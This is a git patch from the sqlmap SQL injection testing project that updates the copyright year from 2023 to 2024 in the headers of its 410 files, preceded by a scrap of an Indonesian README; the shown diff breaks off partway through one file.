[#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos) * Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots From c84f141b89919325a4dc06561136a0dc4068b714 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 3 Jan 2024 23:11:52 +0100 Subject: [PATCH 026/853] Bumping copyright year --- LICENSE | 2 +- data/txt/common-columns.txt | 2 +- data/txt/common-files.txt | 2 +- data/txt/common-outputs.txt | 2 +- data/txt/common-tables.txt | 2 +- data/txt/keywords.txt | 2 +- data/txt/user-agents.txt | 2 +- extra/__init__.py | 2 +- extra/beep/__init__.py | 2 +- extra/beep/beep.py | 2 +- extra/cloak/__init__.py | 2 +- extra/cloak/cloak.py | 2 +- extra/dbgtool/__init__.py | 2 +- extra/dbgtool/dbgtool.py | 2 +- extra/shutils/blanks.sh | 2 +- extra/shutils/drei.sh | 2 +- extra/shutils/duplicates.py | 2 +- extra/shutils/junk.sh | 2 +- extra/shutils/modernize.sh | 2 +- extra/shutils/pycodestyle.sh | 2 +- extra/shutils/pydiatra.sh | 2 +- extra/shutils/pyflakes.sh | 2 +- extra/shutils/pylint.sh | 2 +- extra/shutils/pypi.sh | 4 ++-- extra/vulnserver/__init__.py | 2 +- extra/vulnserver/vulnserver.py | 2 +- lib/__init__.py | 2 +- lib/controller/__init__.py | 2 +- lib/controller/action.py | 2 +- lib/controller/checks.py | 2 +- lib/controller/controller.py | 2 +- lib/controller/handler.py | 2 +- lib/core/__init__.py | 2 +- lib/core/agent.py | 2 +- lib/core/bigarray.py | 2 +- lib/core/common.py | 2 +- lib/core/compat.py | 2 +- lib/core/convert.py | 2 +- lib/core/data.py | 2 +- lib/core/datatype.py | 2 +- lib/core/decorators.py | 2 +- lib/core/defaults.py | 2 +- lib/core/dicts.py | 2 +- lib/core/dump.py | 2 +- lib/core/enums.py | 2 +- lib/core/exception.py | 2 +- lib/core/gui.py | 4 ++-- lib/core/log.py | 2 +- lib/core/option.py | 2 +- lib/core/optiondict.py | 2 +- lib/core/patch.py | 2 +- lib/core/profiling.py | 2 +- lib/core/readlineng.py | 2 +- lib/core/replication.py | 2 +- lib/core/revision.py | 2 +- lib/core/session.py | 2 +- lib/core/settings.py | 4 ++-- lib/core/shell.py | 2 +- lib/core/subprocessng.py | 2 +- lib/core/target.py | 2 +- lib/core/testing.py | 2 +- lib/core/threads.py | 2 +- lib/core/unescaper.py | 2 +- lib/core/update.py | 2 +- lib/core/wordlist.py | 2 +- lib/parse/__init__.py | 2 +- lib/parse/banner.py | 2 +- lib/parse/cmdline.py | 2 +- lib/parse/configfile.py | 2 +- lib/parse/handler.py | 2 +- lib/parse/headers.py | 2 +- lib/parse/html.py | 2 +- lib/parse/payloads.py | 2 +- lib/parse/sitemap.py | 2 +- lib/request/__init__.py | 2 +- lib/request/basic.py | 2 +- lib/request/basicauthhandler.py | 2 +- lib/request/chunkedhandler.py | 2 +- lib/request/comparison.py | 2 +- lib/request/connect.py | 2 +- lib/request/direct.py | 2 +- lib/request/dns.py | 2 +- lib/request/httpshandler.py | 2 +- lib/request/inject.py | 2 +- lib/request/methodrequest.py | 2 +- lib/request/pkihandler.py | 2 +- lib/request/rangehandler.py | 2 +- lib/request/redirecthandler.py | 2 +- lib/request/templates.py | 2 +- lib/takeover/__init__.py | 2 +- lib/takeover/abstraction.py | 2 +- lib/takeover/icmpsh.py | 2 +- lib/takeover/metasploit.py | 2 +- lib/takeover/registry.py | 2 +- lib/takeover/udf.py | 2 +- lib/takeover/web.py | 2 +- lib/takeover/xp_cmdshell.py | 2 +- lib/techniques/__init__.py | 2 +- lib/techniques/blind/__init__.py | 2 +- lib/techniques/blind/inference.py | 2 +- lib/techniques/dns/__init__.py | 2 +- lib/techniques/dns/test.py | 2 +- lib/techniques/dns/use.py | 2 +- lib/techniques/error/__init__.py | 2 +- lib/techniques/error/use.py | 2 +- lib/techniques/union/__init__.py | 2 +- lib/techniques/union/test.py | 2 +- lib/techniques/union/use.py | 2 +- lib/utils/__init__.py | 2 +- lib/utils/api.py | 2 +- lib/utils/brute.py | 2 +- lib/utils/crawler.py | 2 +- lib/utils/deps.py | 2 +- lib/utils/getch.py | 2 +- lib/utils/har.py | 2 +- lib/utils/hash.py | 2 +- lib/utils/hashdb.py | 2 +- lib/utils/httpd.py | 2 +- lib/utils/pivotdumptable.py | 2 +- lib/utils/progress.py | 2 +- lib/utils/purge.py | 2 +- lib/utils/safe2bin.py | 2 +- lib/utils/search.py | 2 +- lib/utils/sqlalchemy.py | 2 +- lib/utils/timeout.py | 2 +- lib/utils/versioncheck.py | 2 +- lib/utils/xrange.py | 2 +- plugins/__init__.py | 2 +- plugins/dbms/__init__.py | 2 +- plugins/dbms/access/__init__.py | 2 +- plugins/dbms/access/connector.py | 2 +- plugins/dbms/access/enumeration.py | 2 +- plugins/dbms/access/filesystem.py | 2 +- plugins/dbms/access/fingerprint.py | 2 +- plugins/dbms/access/syntax.py | 2 +- plugins/dbms/access/takeover.py | 2 +- plugins/dbms/altibase/__init__.py | 2 +- plugins/dbms/altibase/connector.py | 2 +- plugins/dbms/altibase/enumeration.py | 2 +- plugins/dbms/altibase/filesystem.py | 2 +- plugins/dbms/altibase/fingerprint.py | 2 +- plugins/dbms/altibase/syntax.py | 2 +- plugins/dbms/altibase/takeover.py | 2 +- plugins/dbms/cache/__init__.py | 2 +- plugins/dbms/cache/connector.py | 2 +- plugins/dbms/cache/enumeration.py | 2 +- plugins/dbms/cache/filesystem.py | 2 +- plugins/dbms/cache/fingerprint.py | 2 +- plugins/dbms/cache/syntax.py | 2 +- plugins/dbms/cache/takeover.py | 2 +- plugins/dbms/clickhouse/__init__.py | 2 +- plugins/dbms/clickhouse/connector.py | 2 +- plugins/dbms/clickhouse/enumeration.py | 2 +- plugins/dbms/clickhouse/filesystem.py | 2 +- plugins/dbms/clickhouse/fingerprint.py | 2 +- plugins/dbms/clickhouse/syntax.py | 2 +- plugins/dbms/clickhouse/takeover.py | 2 +- plugins/dbms/cratedb/__init__.py | 2 +- plugins/dbms/cratedb/connector.py | 2 +- plugins/dbms/cratedb/enumeration.py | 2 +- plugins/dbms/cratedb/filesystem.py | 2 +- plugins/dbms/cratedb/fingerprint.py | 2 +- plugins/dbms/cratedb/syntax.py | 2 +- plugins/dbms/cratedb/takeover.py | 2 +- plugins/dbms/cubrid/__init__.py | 2 +- plugins/dbms/cubrid/connector.py | 2 +- plugins/dbms/cubrid/enumeration.py | 2 +- plugins/dbms/cubrid/filesystem.py | 2 +- plugins/dbms/cubrid/fingerprint.py | 2 +- plugins/dbms/cubrid/syntax.py | 2 +- plugins/dbms/cubrid/takeover.py | 2 +- plugins/dbms/db2/__init__.py | 2 +- plugins/dbms/db2/connector.py | 2 +- plugins/dbms/db2/enumeration.py | 2 +- plugins/dbms/db2/filesystem.py | 2 +- plugins/dbms/db2/fingerprint.py | 2 +- plugins/dbms/db2/syntax.py | 2 +- plugins/dbms/db2/takeover.py | 2 +- plugins/dbms/derby/__init__.py | 2 +- plugins/dbms/derby/connector.py | 2 +- plugins/dbms/derby/enumeration.py | 2 +- plugins/dbms/derby/filesystem.py | 2 +- plugins/dbms/derby/fingerprint.py | 2 +- plugins/dbms/derby/syntax.py | 2 +- plugins/dbms/derby/takeover.py | 2 +- plugins/dbms/extremedb/__init__.py | 2 +- plugins/dbms/extremedb/connector.py | 2 +- plugins/dbms/extremedb/enumeration.py | 2 +- plugins/dbms/extremedb/filesystem.py | 2 +- plugins/dbms/extremedb/fingerprint.py | 2 +- plugins/dbms/extremedb/syntax.py | 2 +- plugins/dbms/extremedb/takeover.py | 2 +- plugins/dbms/firebird/__init__.py | 2 +- plugins/dbms/firebird/connector.py | 2 +- plugins/dbms/firebird/enumeration.py | 2 +- plugins/dbms/firebird/filesystem.py | 2 +- plugins/dbms/firebird/fingerprint.py | 2 +- plugins/dbms/firebird/syntax.py | 2 +- plugins/dbms/firebird/takeover.py | 2 +- plugins/dbms/frontbase/__init__.py | 2 +- plugins/dbms/frontbase/connector.py | 2 +- plugins/dbms/frontbase/enumeration.py | 2 +- plugins/dbms/frontbase/filesystem.py | 2 +- plugins/dbms/frontbase/fingerprint.py | 2 +- plugins/dbms/frontbase/syntax.py | 2 +- plugins/dbms/frontbase/takeover.py | 2 +- plugins/dbms/h2/__init__.py | 2 +- plugins/dbms/h2/connector.py | 2 +- plugins/dbms/h2/enumeration.py | 2 +- plugins/dbms/h2/filesystem.py | 2 +- plugins/dbms/h2/fingerprint.py | 2 +- plugins/dbms/h2/syntax.py | 2 +- plugins/dbms/h2/takeover.py | 2 +- plugins/dbms/hsqldb/__init__.py | 2 +- plugins/dbms/hsqldb/connector.py | 2 +- plugins/dbms/hsqldb/enumeration.py | 2 +- plugins/dbms/hsqldb/filesystem.py | 2 +- plugins/dbms/hsqldb/fingerprint.py | 2 +- plugins/dbms/hsqldb/syntax.py | 2 +- plugins/dbms/hsqldb/takeover.py | 2 +- plugins/dbms/informix/__init__.py | 2 +- plugins/dbms/informix/connector.py | 2 +- plugins/dbms/informix/enumeration.py | 2 +- plugins/dbms/informix/filesystem.py | 2 +- plugins/dbms/informix/fingerprint.py | 2 +- plugins/dbms/informix/syntax.py | 2 +- plugins/dbms/informix/takeover.py | 2 +- plugins/dbms/maxdb/__init__.py | 2 +- plugins/dbms/maxdb/connector.py | 2 +- plugins/dbms/maxdb/enumeration.py | 2 +- plugins/dbms/maxdb/filesystem.py | 2 +- plugins/dbms/maxdb/fingerprint.py | 2 +- plugins/dbms/maxdb/syntax.py | 2 +- plugins/dbms/maxdb/takeover.py | 2 +- plugins/dbms/mckoi/__init__.py | 2 +- plugins/dbms/mckoi/connector.py | 2 +- plugins/dbms/mckoi/enumeration.py | 2 +- plugins/dbms/mckoi/filesystem.py | 2 +- plugins/dbms/mckoi/fingerprint.py | 2 +- plugins/dbms/mckoi/syntax.py | 2 +- plugins/dbms/mckoi/takeover.py | 2 +- plugins/dbms/mimersql/__init__.py | 2 +- plugins/dbms/mimersql/connector.py | 2 +- plugins/dbms/mimersql/enumeration.py | 2 +- plugins/dbms/mimersql/filesystem.py | 2 +- plugins/dbms/mimersql/fingerprint.py | 2 +- plugins/dbms/mimersql/syntax.py | 2 +- plugins/dbms/mimersql/takeover.py | 2 +- plugins/dbms/monetdb/__init__.py | 2 +- plugins/dbms/monetdb/connector.py | 2 +- plugins/dbms/monetdb/enumeration.py | 2 +- plugins/dbms/monetdb/filesystem.py | 2 +- plugins/dbms/monetdb/fingerprint.py | 2 +- plugins/dbms/monetdb/syntax.py | 2 +- plugins/dbms/monetdb/takeover.py | 2 +- plugins/dbms/mssqlserver/__init__.py | 2 +- plugins/dbms/mssqlserver/connector.py | 2 +- plugins/dbms/mssqlserver/enumeration.py | 2 +- plugins/dbms/mssqlserver/filesystem.py | 2 +- plugins/dbms/mssqlserver/fingerprint.py | 2 +- plugins/dbms/mssqlserver/syntax.py | 2 +- plugins/dbms/mssqlserver/takeover.py | 2 +- plugins/dbms/mysql/__init__.py | 2 +- plugins/dbms/mysql/connector.py | 2 +- plugins/dbms/mysql/enumeration.py | 2 +- plugins/dbms/mysql/filesystem.py | 2 +- plugins/dbms/mysql/fingerprint.py | 2 +- plugins/dbms/mysql/syntax.py | 2 +- plugins/dbms/mysql/takeover.py | 2 +- plugins/dbms/oracle/__init__.py | 2 +- plugins/dbms/oracle/connector.py | 2 +- plugins/dbms/oracle/enumeration.py | 2 +- plugins/dbms/oracle/filesystem.py | 2 +- plugins/dbms/oracle/fingerprint.py | 2 +- plugins/dbms/oracle/syntax.py | 2 +- plugins/dbms/oracle/takeover.py | 2 +- plugins/dbms/postgresql/__init__.py | 2 +- plugins/dbms/postgresql/connector.py | 2 +- plugins/dbms/postgresql/enumeration.py | 2 +- plugins/dbms/postgresql/filesystem.py | 2 +- plugins/dbms/postgresql/fingerprint.py | 2 +- plugins/dbms/postgresql/syntax.py | 2 +- plugins/dbms/postgresql/takeover.py | 2 +- plugins/dbms/presto/__init__.py | 2 +- plugins/dbms/presto/connector.py | 2 +- plugins/dbms/presto/enumeration.py | 2 +- plugins/dbms/presto/filesystem.py | 2 +- plugins/dbms/presto/fingerprint.py | 2 +- plugins/dbms/presto/syntax.py | 2 +- plugins/dbms/presto/takeover.py | 2 +- plugins/dbms/raima/__init__.py | 2 +- plugins/dbms/raima/connector.py | 2 +- plugins/dbms/raima/enumeration.py | 2 +- plugins/dbms/raima/filesystem.py | 2 +- plugins/dbms/raima/fingerprint.py | 2 +- plugins/dbms/raima/syntax.py | 2 +- plugins/dbms/raima/takeover.py | 2 +- plugins/dbms/sqlite/__init__.py | 2 +- plugins/dbms/sqlite/connector.py | 2 +- plugins/dbms/sqlite/enumeration.py | 2 +- plugins/dbms/sqlite/filesystem.py | 2 +- plugins/dbms/sqlite/fingerprint.py | 2 +- plugins/dbms/sqlite/syntax.py | 2 +- plugins/dbms/sqlite/takeover.py | 2 +- plugins/dbms/sybase/__init__.py | 2 +- plugins/dbms/sybase/connector.py | 2 +- plugins/dbms/sybase/enumeration.py | 2 +- plugins/dbms/sybase/filesystem.py | 2 +- plugins/dbms/sybase/fingerprint.py | 2 +- plugins/dbms/sybase/syntax.py | 2 +- plugins/dbms/sybase/takeover.py | 2 +- plugins/dbms/vertica/__init__.py | 2 +- plugins/dbms/vertica/connector.py | 2 +- plugins/dbms/vertica/enumeration.py | 2 +- plugins/dbms/vertica/filesystem.py | 2 +- plugins/dbms/vertica/fingerprint.py | 2 +- plugins/dbms/vertica/syntax.py | 2 +- plugins/dbms/vertica/takeover.py | 2 +- plugins/dbms/virtuoso/__init__.py | 2 +- plugins/dbms/virtuoso/connector.py | 2 +- plugins/dbms/virtuoso/enumeration.py | 2 +- plugins/dbms/virtuoso/filesystem.py | 2 +- plugins/dbms/virtuoso/fingerprint.py | 2 +- plugins/dbms/virtuoso/syntax.py | 2 +- plugins/dbms/virtuoso/takeover.py | 2 +- plugins/generic/__init__.py | 2 +- plugins/generic/connector.py | 2 +- plugins/generic/custom.py | 2 +- plugins/generic/databases.py | 2 +- plugins/generic/entries.py | 2 +- plugins/generic/enumeration.py | 2 +- plugins/generic/filesystem.py | 2 +- plugins/generic/fingerprint.py | 2 +- plugins/generic/misc.py | 2 +- plugins/generic/search.py | 2 +- plugins/generic/syntax.py | 2 +- plugins/generic/takeover.py | 2 +- plugins/generic/users.py | 2 +- sqlmap.py | 2 +- sqlmapapi.py | 2 +- tamper/0eunion.py | 2 +- tamper/__init__.py | 2 +- tamper/apostrophemask.py | 2 +- tamper/apostrophenullencode.py | 2 +- tamper/appendnullbyte.py | 2 +- tamper/base64encode.py | 2 +- tamper/between.py | 2 +- tamper/binary.py | 2 +- tamper/bluecoat.py | 2 +- tamper/chardoubleencode.py | 2 +- tamper/charencode.py | 2 +- tamper/charunicodeencode.py | 2 +- tamper/charunicodeescape.py | 2 +- tamper/commalesslimit.py | 2 +- tamper/commalessmid.py | 2 +- tamper/commentbeforeparentheses.py | 2 +- tamper/concat2concatws.py | 2 +- tamper/decentities.py | 2 +- tamper/dunion.py | 2 +- tamper/equaltolike.py | 2 +- tamper/equaltorlike.py | 2 +- tamper/escapequotes.py | 2 +- tamper/greatest.py | 2 +- tamper/halfversionedmorekeywords.py | 2 +- tamper/hex2char.py | 2 +- tamper/hexentities.py | 2 +- tamper/htmlencode.py | 2 +- tamper/if2case.py | 2 +- tamper/ifnull2casewhenisnull.py | 2 +- tamper/ifnull2ifisnull.py | 2 +- tamper/informationschemacomment.py | 2 +- tamper/least.py | 2 +- tamper/lowercase.py | 2 +- tamper/luanginx.py | 2 +- tamper/misunion.py | 2 +- tamper/modsecurityversioned.py | 2 +- tamper/modsecurityzeroversioned.py | 2 +- tamper/multiplespaces.py | 2 +- tamper/ord2ascii.py | 2 +- tamper/overlongutf8.py | 2 +- tamper/overlongutf8more.py | 2 +- tamper/percentage.py | 2 +- tamper/plus2concat.py | 2 +- tamper/plus2fnconcat.py | 2 +- tamper/randomcase.py | 2 +- tamper/randomcomments.py | 2 +- tamper/schemasplit.py | 2 +- tamper/scientific.py | 2 +- tamper/sleep2getlock.py | 2 +- tamper/sp_password.py | 2 +- tamper/space2comment.py | 2 +- tamper/space2dash.py | 2 +- tamper/space2hash.py | 2 +- tamper/space2morecomment.py | 2 +- tamper/space2morehash.py | 2 +- tamper/space2mssqlblank.py | 2 +- tamper/space2mssqlhash.py | 2 +- tamper/space2mysqlblank.py | 2 +- tamper/space2mysqldash.py | 2 +- tamper/space2plus.py | 2 +- tamper/space2randomblank.py | 2 +- tamper/substring2leftright.py | 2 +- tamper/symboliclogical.py | 2 +- tamper/unionalltounion.py | 2 +- tamper/unmagicquotes.py | 2 +- tamper/uppercase.py | 2 +- tamper/varnish.py | 2 +- tamper/versionedkeywords.py | 2 +- tamper/versionedmorekeywords.py | 2 +- tamper/xforwardedfor.py | 2 +- 410 files changed, 413 insertions(+), 413 deletions(-) diff --git a/LICENSE b/LICENSE index 172de6054cb..894e0ec623c 100644 --- a/LICENSE +++ b/LICENSE @@ -1,7 +1,7 @@ COPYING -- Describes the terms under which sqlmap is distributed. A copy of the GNU General Public License (GPL) is appended to this file. -sqlmap is (C) 2006-2023 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. +sqlmap is (C) 2006-2024 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/data/txt/common-columns.txt b/data/txt/common-columns.txt index 0dd56273635..a4cd79e75e6 100644 --- a/data/txt/common-columns.txt +++ b/data/txt/common-columns.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission id diff --git a/data/txt/common-files.txt b/data/txt/common-files.txt index 8fbbe0ebd7b..52d3368a538 100644 --- a/data/txt/common-files.txt +++ b/data/txt/common-files.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # CTFs diff --git a/data/txt/common-outputs.txt b/data/txt/common-outputs.txt index 56084d9147e..15651da4e44 100644 --- a/data/txt/common-outputs.txt +++ b/data/txt/common-outputs.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission [Banners] diff --git a/data/txt/common-tables.txt b/data/txt/common-tables.txt index 6e9125c0e2c..f1db0644ca5 100644 --- a/data/txt/common-tables.txt +++ b/data/txt/common-tables.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission users diff --git a/data/txt/keywords.txt b/data/txt/keywords.txt index a3019ae7ecd..50b4262615b 100644 --- a/data/txt/keywords.txt +++ b/data/txt/keywords.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml) diff --git a/data/txt/user-agents.txt b/data/txt/user-agents.txt index 02f52001940..a92582d3995 100644 --- a/data/txt/user-agents.txt +++ b/data/txt/user-agents.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # Opera diff --git a/extra/__init__.py b/extra/__init__.py index 8476fab2f94..7777bded120 100644 --- a/extra/__init__.py +++ b/extra/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/beep/__init__.py b/extra/beep/__init__.py index 8476fab2f94..7777bded120 100644 --- a/extra/beep/__init__.py +++ b/extra/beep/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/beep/beep.py b/extra/beep/beep.py index ad932834021..788bafde1e3 100644 --- a/extra/beep/beep.py +++ b/extra/beep/beep.py @@ -3,7 +3,7 @@ """ beep.py - Make a beep sound -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/cloak/__init__.py b/extra/cloak/__init__.py index 8476fab2f94..7777bded120 100644 --- a/extra/cloak/__init__.py +++ b/extra/cloak/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py index b9f8f8f0f6f..8f361a0cf39 100644 --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -3,7 +3,7 @@ """ cloak.py - Simple file encryption/compression utility -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/dbgtool/__init__.py b/extra/dbgtool/__init__.py index 8476fab2f94..7777bded120 100644 --- a/extra/dbgtool/__init__.py +++ b/extra/dbgtool/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py index c8e0c97339c..5443af7bb02 100644 --- a/extra/dbgtool/dbgtool.py +++ b/extra/dbgtool/dbgtool.py @@ -3,7 +3,7 @@ """ dbgtool.py - Portable executable to ASCII debug script converter -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/shutils/blanks.sh b/extra/shutils/blanks.sh index bcc7440aff4..04be57bd931 100755 --- a/extra/shutils/blanks.sh +++ b/extra/shutils/blanks.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # Removes trailing spaces from blank lines inside project files diff --git a/extra/shutils/drei.sh b/extra/shutils/drei.sh index 9a75fbf2f9e..2195d0a9285 100755 --- a/extra/shutils/drei.sh +++ b/extra/shutils/drei.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # Stress test against Python3 diff --git a/extra/shutils/duplicates.py b/extra/shutils/duplicates.py index 0278b85dc3b..8f09a598a6e 100755 --- a/extra/shutils/duplicates.py +++ b/extra/shutils/duplicates.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # Removes duplicate entries in wordlist like files diff --git a/extra/shutils/junk.sh b/extra/shutils/junk.sh index e3bfc70b96b..30e83527e13 100755 --- a/extra/shutils/junk.sh +++ b/extra/shutils/junk.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null diff --git a/extra/shutils/modernize.sh b/extra/shutils/modernize.sh index e0b5352d892..d4c3da6cd69 100755 --- a/extra/shutils/modernize.sh +++ b/extra/shutils/modernize.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # sudo pip install modernize diff --git a/extra/shutils/pycodestyle.sh b/extra/shutils/pycodestyle.sh index 34d995cde68..f527ed0ce46 100755 --- a/extra/shutils/pycodestyle.sh +++ b/extra/shutils/pycodestyle.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # Runs pycodestyle on all python files (prerequisite: pip install pycodestyle) diff --git a/extra/shutils/pydiatra.sh b/extra/shutils/pydiatra.sh index 6f964e74752..474b67a3684 100755 --- a/extra/shutils/pydiatra.sh +++ b/extra/shutils/pydiatra.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # Runs py3diatra on all python files (prerequisite: pip install pydiatra) diff --git a/extra/shutils/pyflakes.sh b/extra/shutils/pyflakes.sh index 9d64d9893dc..f59f5ba7765 100755 --- a/extra/shutils/pyflakes.sh +++ b/extra/shutils/pyflakes.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes) diff --git a/extra/shutils/pylint.sh b/extra/shutils/pylint.sh index b8898be2d36..2ba470e177e 100755 --- a/extra/shutils/pylint.sh +++ b/extra/shutils/pylint.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) # See the file 'LICENSE' for copying permission find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pylint --rcfile=./.pylintrc '{}' \; diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh index 4aed1e72d6e..663a4dc2169 100755 --- a/extra/shutils/pypi.sh +++ b/extra/shutils/pypi.sh @@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -67,7 +67,7 @@ cat > sqlmap/__init__.py << EOF #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/vulnserver/__init__.py b/extra/vulnserver/__init__.py index 8476fab2f94..7777bded120 100644 --- a/extra/vulnserver/__init__.py +++ b/extra/vulnserver/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 76f9c23762a..cfa1d1b2f4a 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -3,7 +3,7 @@ """ vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes) -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/__init__.py b/lib/__init__.py index 8476fab2f94..7777bded120 100644 --- a/lib/__init__.py +++ b/lib/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/__init__.py b/lib/controller/__init__.py index 8476fab2f94..7777bded120 100644 --- a/lib/controller/__init__.py +++ b/lib/controller/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/action.py b/lib/controller/action.py index 1aeb0bcc409..f18795cb250 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/checks.py b/lib/controller/checks.py index a58a5125263..186a0fd2767 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ 